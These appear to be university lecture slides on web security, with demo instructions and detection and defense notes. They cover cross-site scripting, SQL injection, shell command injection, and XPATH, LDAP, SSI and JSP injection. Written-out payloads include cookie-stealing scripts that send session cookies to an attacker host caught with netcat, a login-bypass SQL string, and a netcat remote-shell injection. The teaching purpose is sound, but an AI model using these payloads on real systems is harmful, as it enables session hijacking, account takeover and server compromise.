Web Security Why Web Security a Real Business

Web Security

Why Web Security: a Real Business Problem > 60% of total attack attempts observed on the Net are against Web applications n > 80% of vulnerabilities discovered are in web apps n Independent security audit n Regulatory compliance n

Auditor finding n Freeform edit box – Message to Customer Service XSS issue raised n Must provide a response: n – Prove issue to be a non-problem or – Describe actions to take

Web Attacks Cross Site Scripting (XSS) n SQL Injection n Shell Attacks n If interested in more n XPATH Injection n LDAP Injection n SSI Injection n JSP Injection

Cross Site Scripting Attacker goal: their code into browser n XSS forces a website visitor to execute malicious code in his/her browser n Count for roughly 80% of all documented security vulnerabilities n

XSS Risks XSS abuses render engines or plug-ins n Steal browser cookies n Steal session info for replay attack n Malware or bot installation n Redirect or phishing attempt n

XSS Example 1 n n Trudy posts the following Java. Script on a message board: <script language="javascript"> var url = "http: //machineaddress: 9000/index. html? cookie= “+ encode. URI(document. cookie); </script> Then run a TCP server listening on port 9000 with e. g. , nc –l –p 9000 When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

XSS Demo Instructions Set port forward to bypass the firewall ssh -L 8000: netsec-demos: 2000 ychen@netsec 1. cs. northwestern. edu n Note: 8000 is the local port, it's forwarded to netsecdemos port 2000 through netsec n Use http: //localhost: 8000 to access http: //netsec-demos. cs. northwestern. edu: 2000

XSS Demo Instructions (II) n Login as ychen and post the script with a sexy title (e. g. , hot game!) <script language="javascript"> var url = "http: //dod. cs. northwestern. edu: 5000/index. html? cookie="; url = url + encode. URI(document. cookie); new Image(). src=url; </script> Hi Everyone! Thanks for your cookies! n Ssh to any other machine (e. g. , netsec. cs. northwestern. edu) and run nc –l 5000

Simple XSS Code var url = "http: //machineaddress: 5000/index. html? cookie=“+ encode. URI(document. cookie); n document. cookie is the browser's entire cookie for the current website n encode. URI() is a javascript function to hex-encode certain characters to be included as part of a URL – E. g. , changing the space character to %20 – Make the URL less suspicious

What can Trudy Do with the Cookie? Another user test 458 login as and when clicking the post, cookie is sent to Trudy n Crack Bob’s password (MD 5 hash in the cookie) with John the Ripper or any password cracker n n For more info, http: //netsec. cs. northwestern. edu/resources/passw ord-cracking/ n Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob

XSS Example 2 n n Trudy sends a link of the following URL to Bob that will take him to a personalized page: http: //host/personalizedpage. php? username=<sc ript>document. location='http: //trudyhost/cgibin/stealcookie. cgi? '+document. cookie</script> A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy Hex is often used in place of ASCII for the Java. Script to make the URL less suspicious

XSS Detection A client usually is not supposed to send scripts to servers n If the server receives <SCRIPT>… or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet or in an outgoing SQL statement to the database, then an attack has occurred n – A sanitized script could look like &ls; SCRIPT> …

SQL Injection Malicious SQL statements run on a database and thus attack the server – XSS can only target other users

SQL Injection Example n n n Trudy accesses Bob’s website; in which he does not validate input on his sign in form – Runs a SQL statement like the following: – select username, user_password from minibbtable_users where user_password = md 5('johnspassword') and username='johndoe’; Set username to ' or '1'='1 select username, user_password from minibbtable_users where user_password = md 5('anyrandompassword') and username='' or '1'='1’; Effect: picks any row where the username is blank and the password matches or any row where true. Add “limit 1” to pick the first row

SQL Injection Detection n To detect and prevent this at Bob’s location – Log any traffic from Trudy to Bob containing form data containing a quotation mark – Match any outgoing SQL statements from Bob’s web server to his database server and verify that the quotation marks Trudy supplied were escaped – If they weren’t, take action

Shell Attacks Control an actual machine like a web server

Shell Attacks n Inject commands into scripts that use Linux utilities – E. g. , with “; ” as command separator in UNIX/LINUX CGI programs like perl can use command-line programs (e. g. grep, ls) n Unsanitized input as arguments can lead to command execution. n

Shell Attacks Demo n Search engine in Mini. BB webserver executes system("echo $user_usr ". $phrase. " >>/tmp/searchlogs"); n Put phrase as: >/dev/null; id; echo randomdata – Hide user ID – Store random data in logs to evade detection n We can even get a remote shell ! – >/dev/null; nc netsec 9000 -e /bin/sh

Defense Approaches n Web firewall/IDS – Mod. Security for Apache – Commercial: Secure. Sphere from Impervia n Static code analysis – Open source: Nikto – Commercial: n Acutenix n N-stalker n Web Vulnerability Scanner Education on good coding – HTML encoding on input (server-side) – Input validation/filtering

Backup Slides

XPATH Injection Example n n Similar to SQL injection Bob has a form that does not sanitize userprovided input before using it as part of an XPATH query: : – string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) n Trudy again can provide the following password to change the statement’s logic: – – X’ OR ‘x’=‘x The statement thus selects the first account

LDAP Injection Example n Server using LDAP for authentication – User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(user. Name) + ")" ' searching for the user entry n Attacker can exploit using special characters http: //example/ldapsearch. asp? user=*

LDAP Injection Detection is based off of usage of special LDAP characters – System monitors input for special characters – Either scrubs incoming input or watches for unescaped output passed to database server n Detection approach is blackbox

SSI Injection Example Bob has his server configured to use Server. Side Includes n Trudy passes input with an SSI embedded <!--#INCLUDE VIRTUAL="/web. config"--> n SSI inserts malicious code into normal webpages upon next request n Future legitimate users get content containing the tainted code included by the SSI n

JSP Injection Example Similar to SSI injection n Bob has a portal server configured to use dynamic code for templates n Trudy passes input with an embedded <jsp: include “http: //bad. com/1. jsp” > n malicious code inserted into webpage n

JSP Injection Prevention Prefer static include <%include …> n Don’t allow file inclusion outside of server via Java 2 Security policies n Firewall rules to prevent outbound requests from server n Input validation coding n Choose portal software not requiring dynamic includes or code execution n

Q&A n Suggestions?